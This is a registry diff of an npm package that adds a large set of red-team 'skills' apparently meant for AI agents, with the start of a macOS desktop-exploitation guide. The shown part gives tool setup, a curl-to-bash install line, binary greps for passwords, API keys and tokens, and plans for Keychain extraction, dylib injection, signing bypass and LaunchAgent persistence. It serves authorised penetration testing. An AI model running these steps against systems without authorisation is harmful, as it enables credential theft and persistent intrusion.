rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,834 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-desktop-mac
|
|
3
|
+
description: "macOS application security testing skill. Binary analysis with class-dump and otool, dynamic analysis with frida, code signing bypass, macOS Keychain extraction, LaunchAgent/LaunchDaemon persistence, TCC (Transparency Consent Control) bypass concepts, DYLD injection, sandbox escape concepts, and macOS-specific privilege escalation."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-desktop-mac — macOS Desktop Application Exploitation
|
|
7
|
+
|
|
8
|
+
## 1. Overview and When to Use
|
|
9
|
+
|
|
10
|
+
This skill covers the full attack chain against macOS desktop applications — from initial binary reconnaissance through privilege escalation and persistence. macOS apps are frequently overlooked in penetration tests despite routinely exposing Objective-C class hierarchies, Keychain-stored credentials, injectable dynamic libraries, and TCC policy gaps.
|
|
11
|
+
|
|
12
|
+
**Use this skill when:**
|
|
13
|
+
- Scope includes a macOS fat client, thick client, or locally installed `.app` bundle
|
|
14
|
+
- The target is an Objective-C or Swift binary (Mach-O format)
|
|
15
|
+
- You need to extract credentials from the macOS Keychain or embedded plists
|
|
16
|
+
- The engagement allows host-based testing with a macOS or Kali Linux machine
|
|
17
|
+
- You are assessing an Electron, Flutter, or cross-platform app packaged for macOS
|
|
18
|
+
- Persistence via LaunchAgent/LaunchDaemon is within scope
|
|
19
|
+
|
|
20
|
+
**Does NOT cover:**
|
|
21
|
+
- iOS mobile application testing — use `rt-exploit-ios`
|
|
22
|
+
- Pure web browser exploitation — use `rt-exploit-web`
|
|
23
|
+
- Electron-specific logic bypass — use `rt-exploit-electron`
|
|
24
|
+
- Kernel exploitation or jailbreaking macOS — out of scope for standard engagements
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## 2. Prerequisites and Tool Setup
|
|
29
|
+
|
|
30
|
+
### Operator Machine Requirements
|
|
31
|
+
|
|
32
|
+
Most static analysis and tooling can be performed on Kali Linux. Dynamic analysis with Frida works on a physical or virtual macOS target. A macOS VM (Ventura/Sonoma) is strongly recommended for full dynamic testing.
|
|
33
|
+
|
|
34
|
+
### Required Tools
|
|
35
|
+
|
|
36
|
+
| Tool | Purpose | Install |
|
|
37
|
+
|------|---------|---------|
|
|
38
|
+
| class-dump | Dump Objective-C class interfaces from Mach-O | `brew install class-dump` |
|
|
39
|
+
| otool | Mach-O binary inspection (built-in on macOS) | Xcode CLI tools |
|
|
40
|
+
| nm | Symbol table inspection | Xcode CLI tools / `binutils` on Kali |
|
|
41
|
+
| strings | Extract printable strings | Built-in |
|
|
42
|
+
| frida | Dynamic instrumentation framework | `pip3 install frida-tools` |
|
|
43
|
+
| objection | Frida wrapper for mobile/desktop | `pip3 install objection` |
|
|
44
|
+
| Hopper Disassembler | macOS-native disassembler/decompiler | https://www.hopperapp.com |
|
|
45
|
+
| Ghidra | Free NSA decompiler (cross-platform) | https://ghidra-sre.org |
|
|
46
|
+
| insert_dylib | DYLD injection into Mach-O binaries | https://github.com/Tyilo/insert_dylib |
|
|
47
|
+
| optool | Mach-O binary patching | https://github.com/alexzielenski/optool |
|
|
48
|
+
| macOS-Security-and-Privacy-Guide | Reference | https://github.com/drduh/macOS-Security-and-Privacy-Guide |
|
|
49
|
+
| KeychainCracker | Keychain brute-force | https://github.com/macmade/KeychainCracker |
|
|
50
|
+
| chainbreaker | Keychain forensic extraction | https://github.com/n0fate/chainbreaker |
|
|
51
|
+
| macOS_SUID_Enum | SUID/SGID enumeration scripts | https://github.com/NetSPI/MacOSX-PrivEsc |
|
|
52
|
+
| lsregister | Launch Services database inspection | `/System/Library/Frameworks/CoreServices.framework/...` |
|
|
53
|
+
|
|
54
|
+
### Kali Linux Setup
|
|
55
|
+
|
|
56
|
+
```bash
|
|
57
|
+
# Install Frida and tools
|
|
58
|
+
pip3 install frida-tools objection
|
|
59
|
+
|
|
60
|
+
# Install Ghidra dependencies (Java)
|
|
61
|
+
sudo apt install openjdk-17-jdk -y
|
|
62
|
+
|
|
63
|
+
# Download Ghidra
|
|
64
|
+
wget https://github.com/NationalSecurityAgency/ghidra/releases/download/Ghidra_11.1.2_build/ghidra_11.1.2_PUBLIC_20240709.zip
|
|
65
|
+
unzip ghidra_11.1.2_PUBLIC_20240709.zip
|
|
66
|
+
|
|
67
|
+
# Install binutils for cross-platform Mach-O inspection
|
|
68
|
+
sudo apt install binutils-multiarch -y
|
|
69
|
+
|
|
70
|
+
# Install radare2 for Mach-O binary analysis
|
|
71
|
+
sudo apt install radare2 -y
|
|
72
|
+
|
|
73
|
+
# Clone useful macOS exploitation tools
|
|
74
|
+
git clone https://github.com/n0fate/chainbreaker.git
|
|
75
|
+
git clone https://github.com/Tyilo/insert_dylib.git
|
|
76
|
+
git clone https://github.com/alexzielenski/optool.git
|
|
77
|
+
git clone https://github.com/NetSPI/MacOSX-PrivEsc.git
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
### macOS Target Setup (for dynamic analysis)
|
|
81
|
+
|
|
82
|
+
```bash
|
|
83
|
+
# Install Homebrew (if not present)
|
|
84
|
+
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
|
|
85
|
+
|
|
86
|
+
# Install class-dump and otool
|
|
87
|
+
brew install class-dump
|
|
88
|
+
xcode-select --install
|
|
89
|
+
|
|
90
|
+
# Install Frida on target
|
|
91
|
+
pip3 install frida-tools
|
|
92
|
+
|
|
93
|
+
# Verify Frida works
|
|
94
|
+
frida-ps -l
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
---
|
|
98
|
+
|
|
99
|
+
## 3. Skill Levels
|
|
100
|
+
|
|
101
|
+
### BEGINNER — Passive Static Analysis
|
|
102
|
+
- Run `strings` against the app binary
|
|
103
|
+
- Use `otool -L` to list linked libraries
|
|
104
|
+
- Use `class-dump` to list all Objective-C classes and methods
|
|
105
|
+
- Browse the `.app` bundle for embedded plists and config files
|
|
106
|
+
- Check for hardcoded credentials using grep patterns
|
|
107
|
+
|
|
108
|
+
### INTERMEDIATE — Active Binary Analysis
|
|
109
|
+
- Disassemble with Ghidra or Hopper to find authentication logic
|
|
110
|
+
- Use `nm` to enumerate exported symbols
|
|
111
|
+
- Attach Frida to a running process and trace method calls
|
|
112
|
+
- Extract Keychain items using `security` CLI or chainbreaker
|
|
113
|
+
- Identify missing DYLD library paths for injection candidates
|
|
114
|
+
|
|
115
|
+
### ADVANCED — Dynamic Exploitation and Bypass
|
|
116
|
+
- Use `insert_dylib` or `optool` to inject malicious dylibs
|
|
117
|
+
- Bypass code signing with `codesign --remove-signature` and ad-hoc signing
|
|
118
|
+
- Hook authentication methods with Frida scripts to bypass login
|
|
119
|
+
- Install LaunchAgent persistence for operator callbacks
|
|
120
|
+
- Enumerate and exploit TCC policy gaps (microphone, camera, contacts, files)
|
|
121
|
+
|
|
122
|
+
### EXPERT — Privilege Escalation and Sandbox Escape
|
|
123
|
+
- Exploit SUID/SGID binaries for local privilege escalation
|
|
124
|
+
- Abuse privileged helper tools installed by `.pkg` installers
|
|
125
|
+
- Exploit XPC service misconfigurations for privilege escalation
|
|
126
|
+
- Leverage `DYLD_INSERT_LIBRARIES` against setuid binaries (pre-Catalina)
|
|
127
|
+
- Enumerate and exploit `sudo` misconfigurations
|
|
128
|
+
- Chain LaunchDaemon installation with privesc for root persistence
|
|
129
|
+
- Exploit Transparency Consent Control (TCC) database manipulation
|
|
130
|
+
|
|
131
|
+
---
|
|
132
|
+
|
|
133
|
+
## 4. Step-by-Step Attack Workflow
|
|
134
|
+
|
|
135
|
+
### Phase 1: Application Discovery and Bundle Inspection
|
|
136
|
+
|
|
137
|
+
```bash
|
|
138
|
+
# Step 1: Locate the application bundle
|
|
139
|
+
find /Applications -name "*.app" -maxdepth 2 | head -20
|
|
140
|
+
ls -la /Applications/TargetApp.app/Contents/
|
|
141
|
+
|
|
142
|
+
# Step 2: Identify the main binary
|
|
143
|
+
ls -la /Applications/TargetApp.app/Contents/MacOS/
|
|
144
|
+
file /Applications/TargetApp.app/Contents/MacOS/TargetApp
|
|
145
|
+
|
|
146
|
+
# Step 3: Check if it is a universal binary (fat binary)
|
|
147
|
+
lipo -info /Applications/TargetApp.app/Contents/MacOS/TargetApp
|
|
148
|
+
# Output: Architectures in the fat file: arm64 x86_64
|
|
149
|
+
|
|
150
|
+
# Step 4: Inspect Info.plist for permissions and entitlements
|
|
151
|
+
cat /Applications/TargetApp.app/Contents/Info.plist
|
|
152
|
+
plutil -p /Applications/TargetApp.app/Contents/Info.plist
|
|
153
|
+
|
|
154
|
+
# Step 5: Extract entitlements (defines what the app is allowed to do)
|
|
155
|
+
codesign -d --entitlements :- /Applications/TargetApp.app/Contents/MacOS/TargetApp
|
|
156
|
+
|
|
157
|
+
# Step 6: Check code signing status
|
|
158
|
+
codesign -vvv /Applications/TargetApp.app
|
|
159
|
+
spctl --assess --verbose /Applications/TargetApp.app
|
|
160
|
+
|
|
161
|
+
# Step 7: List embedded frameworks and plugins
|
|
162
|
+
ls -la /Applications/TargetApp.app/Contents/Frameworks/
|
|
163
|
+
ls -la /Applications/TargetApp.app/Contents/PlugIns/ 2>/dev/null
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
### Phase 2: Static Binary Analysis
|
|
167
|
+
|
|
168
|
+
```bash
|
|
169
|
+
# Step 8: Dump all Objective-C class interfaces
|
|
170
|
+
class-dump /Applications/TargetApp.app/Contents/MacOS/TargetApp > target_classes.txt
|
|
171
|
+
# Look for authentication, license, and credential-related classes
|
|
172
|
+
grep -i "auth\|login\|password\|license\|key\|token\|secret" target_classes.txt
|
|
173
|
+
|
|
174
|
+
# Step 9: List all linked dynamic libraries
|
|
175
|
+
otool -L /Applications/TargetApp.app/Contents/MacOS/TargetApp
|
|
176
|
+
# Note any weak-linked or missing libraries — candidates for DYLD injection
|
|
177
|
+
|
|
178
|
+
# Step 10: List all symbols (functions, methods)
|
|
179
|
+
nm -gU /Applications/TargetApp.app/Contents/MacOS/TargetApp | head -100
|
|
180
|
+
nm /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -i "auth\|crypt\|hash\|pass"
|
|
181
|
+
|
|
182
|
+
# Step 11: Extract Mach-O load commands (segments, sections)
|
|
183
|
+
otool -l /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -A4 "LC_RPATH"
|
|
184
|
+
# RPATH entries are critical for DYLD hijacking
|
|
185
|
+
|
|
186
|
+
# Step 12: Search for hardcoded strings
|
|
187
|
+
strings /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -iE "password|passwd|apikey|api_key|secret|token|username|http://"
|
|
188
|
+
strings /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -E "[A-Za-z0-9+/]{40,}={0,2}" # Base64 blobs
|
|
189
|
+
|
|
190
|
+
# Step 13: Inspect all embedded resource files
|
|
191
|
+
find /Applications/TargetApp.app -name "*.plist" -exec plutil -p {} \;
|
|
192
|
+
find /Applications/TargetApp.app -name "*.json" -exec cat {} \;
|
|
193
|
+
find /Applications/TargetApp.app -name "*.db" -o -name "*.sqlite" 2>/dev/null
|
|
194
|
+
|
|
195
|
+
# Step 14: Search for network endpoints in binary
|
|
196
|
+
strings /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -E "https?://[a-zA-Z0-9./_-]+"
|
|
197
|
+
strings /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}"
|
|
198
|
+
```
|
|
199
|
+
|
|
200
|
+
### Phase 3: Disassembly and Decompilation
|
|
201
|
+
|
|
202
|
+
```bash
|
|
203
|
+
# Step 15: Open in Ghidra (GUI) for full decompilation
|
|
204
|
+
# Launch Ghidra, create new project, import the Mach-O binary
|
|
205
|
+
# Use CodeBrowser -> Window -> Decompiler to analyze target functions
|
|
206
|
+
|
|
207
|
+
# Step 16: Use radare2 for command-line disassembly (Kali-friendly)
|
|
208
|
+
r2 /Applications/TargetApp.app/Contents/MacOS/TargetApp
|
|
209
|
+
# Inside r2:
|
|
210
|
+
# aaa (analyze all)
|
|
211
|
+
# afl | grep auth (list functions matching auth)
|
|
212
|
+
# pdf @ sym.func_name (disassemble specific function)
|
|
213
|
+
# s sym.func_name && pdf (seek and print disassembly)
|
|
214
|
+
|
|
215
|
+
# Step 17: Extract specific architecture from fat binary for analysis
|
|
216
|
+
lipo /Applications/TargetApp.app/Contents/MacOS/TargetApp -thin x86_64 -output target_x86_64
|
|
217
|
+
lipo /Applications/TargetApp.app/Contents/MacOS/TargetApp -thin arm64 -output target_arm64
|
|
218
|
+
|
|
219
|
+
# Step 18: Identify Objective-C method implementations in radare2
|
|
220
|
+
r2 target_x86_64
|
|
221
|
+
# aaa; afl | grep -i "check\|verify\|valid\|auth"
|
|
